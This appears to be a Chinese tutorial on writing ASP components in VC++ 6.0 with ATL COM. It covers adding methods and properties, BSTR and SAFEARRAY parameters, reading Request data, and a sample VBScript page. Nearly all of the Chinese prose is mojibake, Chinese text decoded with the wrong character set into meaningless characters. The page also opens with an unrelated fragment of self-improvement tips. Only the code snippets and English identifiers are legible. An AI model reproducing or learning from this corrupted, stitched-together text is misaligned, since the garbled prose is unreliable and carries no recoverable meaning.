銆銆2.鍙樺緱鏇存湁鍒涢犳э紝鍙戞帢鏂扮殑鐖卞ソ銆傚弬鍔犳煇涓粠鏈皾璇曡繃鐨勬椿鍔ㄨ紼嬶紝緇樼敾銆侀煶涔愭垨鑰呮憚褰便傚皾璇曟柊鐨勪綋鑲茶繍鍔紝濡傞珮灝斿か鐞冿紝楠戦┈銆傝嚜宸變笅鍘ㄧ児楗紝鍥犱負瀹冧細璋冨姩浣犳墍鏈夌殑鎰熻銆?/p>
銆銆鍙嶆墜鍒風墮錛岃繖鏍峰彲浠ラ敾鐐肩浉搴旂殑鑴戝崐鐞?鍙沖崐鐞冭礋璐e乏鍙籌紝宸﹀崐鐞冭礋璐e彸鎵?銆?br />
--------------------------------------------------------------------------------
鐢ˋSP鍐欑綉欏電殑紼嬪簭鍛橈紝涓瀹氬VBSript璇彞鈥淪et Conn=Server.Object(鈥楢DODB.Connection鈥?鈥濋潪甯哥啛鎮夈傝璇彞鏄埄鐢ˋSP鐨凷erver瀵硅薄鍒涘緩浜嗕竴涓暟鎹簱鎺т歡錛屽畠鎻愪緵浜嗕竴緋誨垪鐨勬柟娉曞拰灞炴э紝鍙互甯姪鎴戜滑鍦ˋSP涓柟渚跨殑瀹炵幇鏁版嵁搴撶殑鎿嶄綔銆傜被浼肩殑錛屽湪Visual InteDev6.0涓紝鎴戜滑榪樺彲浠ョ湅鍒頒竴浜汚SP鐨勫唴緗粍浠跺鈥淪cripting.FileSystemObject鈥濄備絾鏄紝鍦ㄦ湁鐨勫満鍚堬紝浠呭埄鐢ㄨ繖浜涙槸涓嶅鐨勬垨澶嶆潅鐨勶紝鑰屼笖ASP鐨凷cript璇█榪滀笉濡侰++璇█鍔熻兘寮哄ぇ錛堝寤虹珛閾捐〃錛孊+鏍戠粨鏋勭瓑錛夛紝榪欏氨浣挎垜浠兂鍒幫紝鏄惁鍙互鍦ㄥ紑鍙戠綉欏墊椂浣跨敤鍏鋒湁鑹ソ鏁版嵁緇撴瀯鐨凜++璇█銆傝櫧鐒禖GI,ISAPI絳夐兘鍙皳鏄敤C/C++寮鍙戠綉欏電殑鍏堥┍錛屼絾鎴戜滑鐭ラ亾CGI,ISAPI鐨勫紑鍙戝懆鏈熷緢闀匡紝涓斾笉涓庣綉欏電粨鍚堬紝鐩磋鎬у樊錛岀紪鍐欍佽皟璇曞洶闅撅紱鑰屽湪紼沖畾鎬т笂錛岀敱浜嶪SAPI鏄姩鎬侀摼鎺ョ殑鏂瑰紡錛屽洜姝ゅ湪鎵ц鑻ュ嚭鐜伴棶棰橈紝浼氫嬌寰梂eb鏈嶅姟鍣ㄤ竴璧風槴鐥傝孉SP姝eソ鑳借ˉ瓚寵繖浜涚己鐐廣?
鐢辨鍙錛屽鏋滆兘瀛︿細緙栧啓ASP緇勪歡灝辮兘緇撳悎ASP鐨勯暱澶勭紪鍐欏嚭寮哄ぇ鐨勭綉欏點傚彲鎯滅殑鏄紝絎旇呭湪甯傞潰涓婂緢灝戠湅鍒版湁涓撻棬璁插浣曠敤VC++鏉ュ埗浣淎SP緇勪歡鐨勪功綾嶃備竴鑸琕C涔︾睄鍙涓浜涘啓Windows紿楀彛紼嬪簭鎴栧啀鍔犱笂緙栧啓鏅氱殑鍔ㄦ侀摼鎺ュ簱銆傝孉SP涔︾睄鏇存槸鍙皥ASP涓唴緗粍浠剁殑浣跨敤鏂規硶銆傚叾瀹烇紝濡傛灉瑕佺湡姝f帉鎻$紪鍐橝SP緇勪歡鐨勬満鍒訛紝瑕佺壍娑夊埌澶ч噺鐨凜OM鎶鏈殑鐭ヨ瘑銆傝屼竴浜涜COM鎶鏈殑涔︽槸寰堟繁濂ョ殑錛屼笖寰堝皯鑳界粨鍚堟湁鐢ㄧ殑瀹炰緥銆備負姝わ紝絎旇呮兂鍊熸鏂囦互鏈綆鍗曠殑鏂規硶鍚戝ぇ瀹朵粙緇嶇紪鍐欒繃紼嬨傛墍璋撶畝浠嬶紝姝h鏄庡皢涓嶆秹鍙奀OM鐭ヨ瘑鐨勫叿浣撶粏鑺傦紝浠呯粰鍑哄疄鐜版柟娉曘?
涓銆佸緩绔嬪伐紼?
鎵撳紑VC++6.0錛岄夋嫨New Projects涓殑ALT COM AppWizard, 騫惰緭鍏ュソ宸ョ▼鍚嶏紙濡侻yStudio錛夛紝璁頒綇璇ュ伐紼嬪悕灝嗘垚涓篈SP緇勪歡鍚嶇殑涓閮ㄥ垎錛堝叾瀹炲彲浠ヤ慨鏀癸紝浣嗗緢楹葷儲錛夛紝鍦ㄤ笅涓欏典笂閫夋嫨Server Type 涓篋LL錛屽茍鍙冭檻鍦⊿upport MFC鍓嶆墦鍕撅紙鎯沖繀浣跨敤MFC緙栫▼鐨勪漢涓嶅皯錛夈傛寜Finish緇撴潫銆傚湪鐢熸垚鐨勪唬鐮佷腑鏈夊洓涓爣鍑嗙殑瀵煎嚭鍑芥暟娉ㄥ唽DLL鐨勶紝鎴戜滑涓嶅繀鍏沖績銆?
浜屻佸垱寤篊OM瀵硅薄錛堟柊寤篈TL媧誨姩妯$増搴撶被錛?
鍦ㄨ彍鍗曚笂閫夋嫨Insert New Class,騫舵柊寤轟竴涓狝TL Class,濡傚彇鍚嶄負CmyComponent錛屼綘浼氬彂鐜板湪鎺ュ彛琛ㄤ腑鍑虹幇浜嗕竴涓狪myComponent錛屼互鍚庡垱寤鴻鎺ュ彛鐨勬柟娉曞拰灞炴у氨鍙互鍦ˋSP涓嬌鐢ㄤ簡銆傛妸Aggregatable閫夐」鍘繪帀錛屾垜浠笉闇瑕佸畠銆備繚鎸佸叾浠栦笉鍙樸?
涓夈佹坊鍔犳帴鍙f柟娉?
鍦–lassView涓紝鍙沖嚮ImyComponent,鍦ㄥ嚭鐜扮殑鑿滃崟涓寜Add Method銆傚鍥撅紝鍦∕ethod Name涓彲鍐欎笂鏂規硶鍚嶅InitMyComp銆傚湪Parameters涓啓涓婃柟娉曠殑鍙傛暟濡俒in]int Number1,[out,retbal]int* Number2銆傝繖閲岃鐗瑰埆璇存槑鐨勬槸鍙傛暟鐨勫啓娉曘?
1.瀵逛簬浼犲叆鐨勫弬鏁板繀欏誨湪鍙傛暟鍓嶅姞涓奫in]錛岀劧鍚庡彲璺熶笂濡俰nt n鎴杅loat f絳夈備笖姣忎釜浼犲叆鍙傛暟鍓嶉兘蹇呴』鍐欐槑銆?
2.瀵逛簬璋冪敤鏂規硶鐨勮繑鍥烇紝涓嶅啀鏄鏂規硶鍚嶅墠鐨勭被鍨嬶紙鍥犱負鎵鏈夎繖浜涙柟娉曢兘榪斿洖HRESULT錛屽嵆琛ㄦ槑鏄惁璋冪敤鎴愬姛錛夛紝鎵浠ヤ嬌鐢ㄤ紶鍑虹殑鍙傛暟錛屽湪鍙傛暟鍓嶅繀欏誨姞涓奫out,retval],鐒跺悗鍙窡涓婂int* n 鎴栬協loat* f絳夛紙濡傛灉榪斿洖鐨勬槸int 鎴杅loat 綾誨瀷鍊兼椂錛夈備笖姣忎釜鏂規硶浠呴檺浜庤繑鍥炰竴涓繖鏍風殑鍙傛暟銆傚湪鍑芥暟浣撲腑鍙鍐欎笂濡傗?Number2=Number1;鈥濓紝琛ㄧず鎶婅緭鍏ュ弬鏁頒綔涓轟紶鍑哄弬鏁般?
3.瀵逛簬鏈甯哥敤鐨勫瓧絎︿覆鍙傛暟鍦ㄦ鎴戜滑浣跨敤BSTR str鑰屼笉鏄氬父鐨刢har* 鎴朇String錛屾墍浠ュ湪鍙傛暟涓渶瑕佸啓浣淸in]BSTR str 鎴朳out,retval]BSTR* str銆傞渶瑕佺壒鍒敞鎰忎笌CString鐨勮漿鎹€傚鏂板緩涓涓嚱鏁癝trConv([in]BSTR bstr1,[out,retval]BSTR* bstr2)錛屽湪鍑芥暟浣撲腑鍙啓涓婂錛?
CString str;
str=bstr1;
str=str.Left(str.GetLength()-1);
*bstr2=str.AllocSysString();
4.瀵逛簬鎯蟲妸涓涓狝SP瀵硅薄浣滀負鍙傛暟鐨勬柟娉曪紙濡俁equest瀵硅薄錛夛紝鍙互浣跨敤[in]Iunkown *pIUnk錛屽湪鍑芥暟浣撳唴錛屽彲鐢ㄥ涓嬭鍙ワ細(鍏蜂綋璇鋒煡闃匨SDN涓殑鐩稿叧綾葷殑鍐呭)
IRequest* pIRequest;
HRESULT hr = pIUnk->QueryInterface(IID_IRequest, reinterpret_cast<LPVOID*>(&pIRequest));
Long m_lDataSize;
HRESULT hr = pIRequest->get_TotalBytes(&m_lDataSize);
if (FAILED(hr))
return hr;
if (m_lDataSize == 0L)
{
return S_OK;
}
COleVariant varBytesToRead;
COleSafeArray sarrayBytes;
varBytesToRead = m_lDataSize;
sarrayBytes.CreateOneDim(VT_UI1, m_lDataSize);
hr = pIRequest->BinaryRead(&varBytesToRead, &sarrayBytes);
if (FAILED(hr))
{
sarrayBytes.Clear();
return hr;
}
鈥?
5.瀵逛簬涓嶅畾涓暟鍙傛暟錛屽彲浣跨敤SAFEARRAY錛屼絾浣跨敤鏂規硶杈冧負澶嶆潅銆傚彲浠ュ湪鍙傛暟涓緭鍏ュ涓嬬殑鍐呭[in]SAFEARRAY array錛屽茍鎸堿ttribute鈥︽寜閽紝鍦∟ame涓夋嫨vararg銆傛寜紜畾鍚庝慨鏀筰dl鏂囦歡鍦ㄦ妸[in]SAFEARRAY array鏀逛負[in]SAFEARRAY(VARIANT) array銆傜劧鍚庡啀鎵撳紑MyComponent.h鏂囦歡鎶婅鍑芥暟鐨勫弬鏁癝AFEARRAY array鏀逛負SAFEARRAY* array銆傚啀鎵撳紑MyComponent.cpp鏂囦歡淇敼鍙傛暟錛屽湪鍑芥暟浣撳唴浣跨敤COleSafeArray綾誨疄鐜拌鍙傛暟鐨勬帶鍒訛紝濡傗淐OleSafeArray SArray(array,VT_BSTR)鈥濓紝鍏蜂綋鎿嶄綔鍙煡闃匨SDN涓殑璇ョ被鐨勬垚鍛樺嚱鏁般?
鍥涖佹坊鍔犳帴鍙e睘鎬?
鍦–lassView涓紝鍙沖嚮ImyComponent,鍦ㄥ嚭鐜扮殑鑿滃崟涓寜Add Property銆傚鍥撅紝鍦≒roperty涓彲閫夋嫨灞炴х被鍨嬪float錛屽湪涓嬮潰鍙啓涓婂睘鎬у悕濡侻yFloat銆備繚鎸佸叾浠栦笉鍙樸傝繖閲岄渶瑕佽鏄庣殑鏄湪鐢熸垚鐨刾ut_MyFloat鍜実et_MyFloat鍑芥暟浣撲腑鐨勪功鍐欍?
涓嶅Θ涓句釜灝忎緥錛?
1.鍦–MyComponent 涓坊鍔犳垚鍛樺彉閲弇_myFloat
2.鍦╬ut_MyFloat 涓啓涓婏細m_myFloat=newVal;
3.鍦╣et_MyFloat涓啓涓婏細*pVal=m_myFloat
鏈夋垚鍛樺彉閲忎篃鏄畠浼樹簬ISAPI鐨勪竴涓湴鏂癸紝鍦↖SAPI涓鍦ㄧ綉欏甸棿浼犻掍俊鎭紝鍙兘閫氳繃URL鍙傛暟鎴栬呮槸Cookie鏉ュ疄鐜幫紝鍥犱負姣忔璋冪敤閮芥槸涓嬈℃柊鐨勯摼鎺ワ紝鏃犳硶鍦ㄧ綉欏典箣闂翠粛鐒舵槸鍚屼竴嬈¤皟鐢―LL,鎵浠ヨ緗垚鍛樺彉閲忔剰涔変笉澶э紝鍙湪涓嬈¤皟鐢ㄤ腑鏈夌敤銆傝岄偅涓ょ鏂規硶閮藉彧鑳戒紶閫掑緢鏈夐檺鐨勫瓧絎︼紝闄ら潪鍒╃敤鍒涘緩鏈嶅姟鍣ㄧ涓存椂鏂囦歡錛堟鏂規硶寰堜笉濂斤級銆傚啀璇達紝ASP涓殑Session瀵硅薄鏈韓灝辨槸寰堝ソ鐨勫瓨鍌ㄤ俊鎭殑瀵硅薄銆?
鑷蟲錛屾垜浠垱寤轟簡涓涓潪甯哥畝鍗曠殑娌℃湁浠涔堝姛鑳界殑ASP緇勪歡錛屾剰鍦ㄨ鏄庡浣曞埗浣溿備笅闈紝鎴戜滑涔﹀啓涓涓畝鍗曠殑ASP緗戦〉錛屾潵鐪嬬湅濡備綍浣跨敤銆傜綉欏靛涓嬶細
<%@ Language=VBScript %>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
</HEAD>
<BODY>
<%
Set Obj=Server.CreateObject("MyStudio.MyComponent")
j=Obj.InitMyComp(5)
Response.Write(j)
%>
<p>
<%
Obj.MyFloat=3.9
j=Obj.MyFloat
Response.Write(j)
%>
<p>
<%
str1="abcd"
str2=Obj.StrConv(str1)
Response.Write(str2)
%>
</BODY>
</HTML>
鏄劇ず緇撴灉涓猴細
5
3.9
abc
涔熻錛屼綘鐜板湪榪樼湅涓嶅埌緙栧啓ASP緇勪歡鐨勫法澶ч瓍鍔涖備絾鏄紝濡傛灉浣犳鍦ㄧ紪鍐欐悳绱㈠紩鎿庯紝鏂囦歡涓婁紶錛岃嚜鍔ㄥ洖澶嶏紝絳夌瓑鐨勯珮綰х綉欏靛埗浣滐紝浣犺嫢鑳藉鍏呭垎鐨勫埄鐢╒C++鐨勪紭瓚婄紪紼嬫墜孌碉紝灝變笉蹇呭湪CGI錛孖SAPI涓嫤鑻︽專鎵庯紝鍙互姣旇緝鏂逛究鐨勭紪鍐欒繖浜涘姛鑳姐傛瘮鏂硅鐢ㄦ埛鎯沖湪浣犵殑緗戦〉涓婃悳绱㈠嚑涓憲鍚嶆柊闂葷綉绔欎笂褰撳墠鐨勯噸瑕佹柊闂伙紝浣犲氨鍙互浣跨敤ASP緇勪歡鍦ㄥ悗鍙板疄鏃剁殑鎵撳紑鍚勭綉绔欒幏寰椾俊鎭紝絳涢夊尮閰嶅悗鏄劇ず緇欑敤鎴楓傚張姣旀柟璇達紝褰撴敞鍐岀敤鎴峰憡鐭ヤ粬鐨別mail鍦板潃錛屼綘灝卞彲浠ュ埄鐢ˋSP緇勪歡鑷姩緇欐柊娉ㄥ唽鐢ㄦ埛鍙戝嚭紜淇″嚱錛岀敤鏈蹇殑鏂瑰紡璁╃敤鎴峰幓紜騫朵嬌娉ㄥ唽鎴愬姛鈥︹﹀叾瀹烇紝浣犱竴瀹氳繕鏈夊緢澶氭柊鐨勬兂娉曞彲浠ュ湪緗戦〉涓婂緱浠ュ疄鐜幫紝璧跺揩琛屽姩鍚с?